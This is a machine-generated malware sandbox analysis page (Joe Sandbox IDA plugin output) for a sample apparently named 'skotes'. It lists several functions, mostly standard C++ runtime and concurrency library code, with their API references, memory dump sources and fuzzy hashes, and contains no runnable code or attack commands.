Function 006144DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00614538
ListArray.LIBCONCRT ref: 0061456C
Hash.LIBCMT ref: 006145D5
Hash.LIBCMT ref: 006145E5

Part of subcall function 00619C41: std::bad_exception::bad_exception.LIBCMT ref: 00619C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0061474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006147A4

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: b6f113cda087f2a79e0c7295e734b11c7914f0a512b27bc8689172f6a0fd71ac
Instruction ID: a83b4b70d802da70cd8e44b6fcdaf1d021d67eb56b79cd673faa574f3026bc42
Opcode Fuzzy Hash: b6f113cda087f2a79e0c7295e734b11c7914f0a512b27bc8689172f6a0fd71ac
Instruction Fuzzy Hash: 4D8170B0A11B52BBD748DF74C445BDAFAA9BF09710F14421EF428D7281CBB4A5A0CBD5

Function 0060ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0060ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0060ED17

Part of subcall function 0060F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0060F3FA

__alloca_probe_16.LIBCMT ref: 0060ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0060ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EDC6
__freea.LIBCMT ref: 0060EDEC

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: a032239b2656b97a8aa6625623da6579eec415afaa8db7865e4d1b5fcae8b19f
Instruction ID: 5162e61965c6ed3e0a22d3f39de79c6955606dca6da3be6b201d980540f65cb2
Opcode Fuzzy Hash: a032239b2656b97a8aa6625623da6579eec415afaa8db7865e4d1b5fcae8b19f
Instruction Fuzzy Hash: 0D317C71A402258BDB19DFA8C9415EEB7B6EF09310B24446EE845E73D1EB719E028BA4

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 00621B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00621B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00621B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00621C2A

Strings

switchState, xrefs: 00621B5E
pContext, xrefs: 00621C22

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 25e713cecef2da7fed5ef05f101382bde4be0687f83c8d76d37f7ab9ca1743f7
Instruction ID: 2d48389e6839ab3e7441019ab4ff2970189836d26f80a843693a002af63cb836
Opcode Fuzzy Hash: 25e713cecef2da7fed5ef05f101382bde4be0687f83c8d76d37f7ab9ca1743f7
Instruction Fuzzy Hash: 9531C535A44624ABCF14EF64D881AADB377BF66310F204569E9119B382EB71EE01CE94

Function 00624E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00624E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00624E86
PMDtoOffset.LIBCMT ref: 00624EAC

Strings

Bad dynamic_cast!, xrefs: 00624EEE

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: dea0ba402101bc13e627910e4202279486309304e252d12040c7f348937e7b3e
Instruction ID: 1c23f45bd97ae6e06b0f0d7bbbb355e4d60a856cdc7666bc151fc45b8465561c
